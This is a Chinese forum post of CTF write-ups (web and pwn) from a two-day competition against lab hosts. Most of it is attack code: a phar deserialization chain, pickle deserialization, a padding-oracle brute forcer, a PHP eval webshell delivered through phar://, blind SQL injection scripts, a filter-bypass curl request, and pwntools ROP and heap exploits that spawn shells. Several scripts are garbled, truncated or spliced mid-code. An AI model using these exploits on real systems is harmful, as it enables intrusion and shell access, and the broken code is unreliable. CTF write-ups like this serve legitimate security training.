Dubhe / 2019-06-13 09:25:00 / 浏览数 6974 安全技术 CTF 顶(1) 踩(0)

```
web
web-day1
web1
EXP
利用User的__destruct的close()调用File的close()
<?php
  class File{
      public $filename = "/flag.txt";
  class User {
      public $db;
  class FileList {
      public $files;
  $o = new User();
  $o->db =new FileList();
  $o->db->files=array(new File());
  @unlink("phar.phar");
  $phar = new Phar("phar.phar"); //
######phar
  $phar->startBuffering();
  $phar->setStub("<?php __HALT_COMPILER(); ?>"); //■■stub
   $phar->setMetadata($0); //■■■■meta-data■manifest
  $phar->addFromString("test.txt", "test"); //

   //
   $phar->stopBuffering();
上传文件后删除抓包,即可得到flag
weh2
1. 薅羊毛与逻辑漏洞
2. cookie伪造
  python反序列化
  首先批量注册筹款。
  根据提示找到lv6的商品。
  import requests
  for i in range(2000):
  a = requests.get('http://172.1.2.2/info/\{\}'.format(str(i)))
  if 'lv6.png' in a.content:
      print i
3. 抓包修改折扣的参数,让我们买得起,购买成功从而获得后台路径。 http://172.1.2.2/b1g_m4mber
提示修改cookie,是个jwt,爆破一下,key是1Kun,篡改username为admin。
获得反序列化的机会。在源码中读到这个。
 42
   <div class="ui text container login-wrap-inf">
   <!-- 潜伏敌后已久,只能帮到这了 -->
 44 <a href="/static/asd1f654e683wq/www.zip" ><span style="visibility:hidden">删库跑路前我留了好东西在这里</span></a>
 45 <div class="ui segments center padddd">
 46 <!-- 对抗*站黑科技,目前为测试阶段,只对管理员开放 -->
   <div class="ui segment">
 47
```

下载源码,找到反序列的地方。

48 49

```
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
  @tornado.web.authenticated
  def get(self, *args, **kwargs):
       if self.current_user == "admin":
          return self.render('form.html', res='This is Black Technology!', member=0)
       else:
           return self.render('no_ass.html')
  @tornado.web.authenticated
  def post(self, *args, **kwargs):
      try:
           become = self.get_argument('become')
           p = pickle.loads(urllib.unquote(become))
           return self.render('form.html', res=p, member=1)
       except:
           return self.render('form.html', res='This is Black Technology!', member=0)
```

反序列化读文件。

web3

获得的源码和实际服务器上代码完全不同。 有git泄露,但是没用。

在robots.txt找到备份

http://172.1.2.5/backup.zip

```
# -*- coding: utf-8 -*-
import sys
import string
import base64
import requests

def str_xor(a, b):
    return ''.join([chr(ord(i) ^ ord(j)) for i, j in zip(a, b)])
```

```
#base_url = "http://172.2.100.103:23232/login.php"
base_url = "http://172.1.2.5/login.php"
cookies = {
   'token': '',
   'PHPSESSID': '4cc5fdroq2lcaeiflsjm3d9ueu'
tmp_iv = '0' * 16
tmp_ivs = list(tmp_iv)
value = []
# IIIIIvalueI15III
for flag in range(1, 16):
  for i in range(256):
      # brute
      tmp_ivs[15-len(value)] = chr(i)
      cookies['token'] = base64.b64encode(''.join(tmp_ivs))
      resp = requests.get(base_url, cookies=cookies)
      if 'Error' not in resp.content:
          value.append(flag ^ i)
           # ======
          tmp_iv = '0' * (16-len(value)) + ''.join(chr(value[i] ^ (flag+1))
                                      for i in range(len(value)-1, -1, -1))
          tmp_ivs = list(tmp_iv)
           #print resp.content
          print flag, i, value
          break
      if i == 255:
          print resp.content
          print 'error'
          break
# ==
value.reverse()
print value
value_ = ''.join(chr(v) for v in value)
fake_id = 'onepiece' + chr(8) *8
len_{-} = 0
for i in range(256):
  # Elvalue Elle
  token = chr(i) + value_
  iv = str_xor(token, fake_id)
  cookies['token'] = base64.b64encode(iv)
   # print cookies['token']
  resp = requests.get(base_url, cookies=cookies)
  if len_ != len(resp.content):
      print i
      print cookies
      print resp.content
   len_ = len(resp.content)
padding-oracle,代码中说把明文改成admin,结果hint说改成onepiece,汗
改对以后,admin.php还不给flag,和主办方说了才修复了环境。
web4
1. 扫描得 hint.php
2. index.php 返回头带有 uploadupload.php
3. 通过 hint.php 伪协议可得全部代码
  新建文件夹i,内含一t.php
  t.php 内容
  <?php
  $in=file_get_contents("php://input");
```

```
var_dump(eval($in));
?>
```

- 5. 通过 uploadupload.php 上传修改后缀为 jpg 的 phar
- 6. hint.php?name=phar://file/ce5193a069bea027a60e06c57a106eb6.jpg/i/t, 得到 webshell
- 7. 菜刀连上获得 /flag.txt

web5

sqlmap随便找个地方一把梭,好像是手机号可以注入。 然后select load_file('/flag.txt');

还有首页有一个文件包含,可以直接读取flag。

web-day2

import requests
import time

web1

sql注入,用elf(bool,sleep(5))可以时间盲注,用\t绕过空格的校验。

```
url = "http://172.1.2.1/index.php"
flag = ''
while True:
   for i in range(128):
      ss = time.time()
      data = {
           'id':'''ELT(left((select flag
                                                      ctf),{})='{}{}',SLEEP(1))'''.format(len(flag)+1,flag, chr(i))
                                             from
       #print data
       requests.post(url,data=data)
       if time.time()-ss>=0.5:
          flag += chr(i)
          print flag
          break
EXP2
import requests
import string
dic = string.digits + string.letters + "!@$%^&*()_+{}="
url = "http://172.1.15.1/index.php"
data = {
   "id":""
1 = 1
flag = ""
while(True):
   for i in range(256):
      # print i
       {\tt data['id'] = "IF(substr((select flag from ctf), {},1)='{}',1,2)".format(1,chr(i))}
      data['id'] = data['id'].replace(" ","\n")
      resp = requests.post(url,data=data)
       # print(resp.content)
       if "first" in resp.content:
          flag += chr(i)
```

web2

1+=1

1. 访问 http://172.1.2.2/?src 得到源码

print flag break

- 2. 审计源码,添加了\$_POST绕过\$_REQUEST
- 3. url 转义 绕过 QUERY_STRING 匹配,数组绕过 md5
- 4. flag 参数用 data://text/plain,security 绕过

```
5. curl -X POST \
  'http://172.1.2.2/index.php?cyber%5B%5D=123&ciscn=ciscnsec%0A&flag=data%3A%2F%2Ftext%2Fplain%2Csecurity'\
  -H 'cache-control: no-cache' \
  -H 'content-type: application/x-www-form-urlencoded' \
  -H 'postman-token: 2422f808-0e28-ea5f-7613-a84c06e1a641' \
  -d 'flag=1&cyber=1&ciscn=1'
   【注意url编码绕过】
  # pwn
  ## pwn-day1
  ### pwn1
  直接栈溢出加ROP, 劫持栈到bss段上, ROP调用system getshell

 sl(asm(shellcraft.sh()))
 p.interactive()
if __name__ == '__main__':
 pwn()
pwn2
```

sl(payload)
p.interactive()

这题的给的libc为2.29,有tcache,但是该版本的libc对tcache进行了double free的检测。(具体怎么检测的感兴趣的可以看一下源码)。 程序在delete的时候只是将标志字段设置为0,并没有将指针清零,而程序在delete和addMoney中,没有对flag标志进行检查。这样就可以修改已在tcache中的chunk的kefree了,然后改bss上的指针就可以了。

```
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
def create(name, age):

在创建Text类型的Note的时候,如果type不对或是size过大,程序会return,但是结构体中的两个函数指针已经被赋值为Int类型的函数指针了,而type的值还是之前保留下free来改Note结构体中的函数指针为plt@system,删除对应的Note即可getshell。

```

 pwn()
pwn3
是一个逆向题目,输入24个字符,类似自动机一样处理数据。运算完之后和结果比对,若对于每个字符a,abs(a-target)<=1,就给你shell。
ida里可以提取十六进制,然后把他写个脚本转换为 long double型的数。
coding:utf-8
from pwn import *
con = remote("172.1.2.5",8888)
con.recvuntil('Input something')
assert(len(target)==24)
v11.reverse()

for i in range(0,232,3):
 op_ = v11[i+2]
 index_ = v11[i+1]
 num_ = v11[i]
 if op_ == 2:
 target[index_] += num_
 if op_ == 3:
 target[index_] /= num_
 if op_ == 4:
 target[index_] *= num_
 if op_ == 1:
 target[index_] -= num_
result = ''
for op in target:
 result += chr(int(op))
con.sendline(result)
con.interactive()
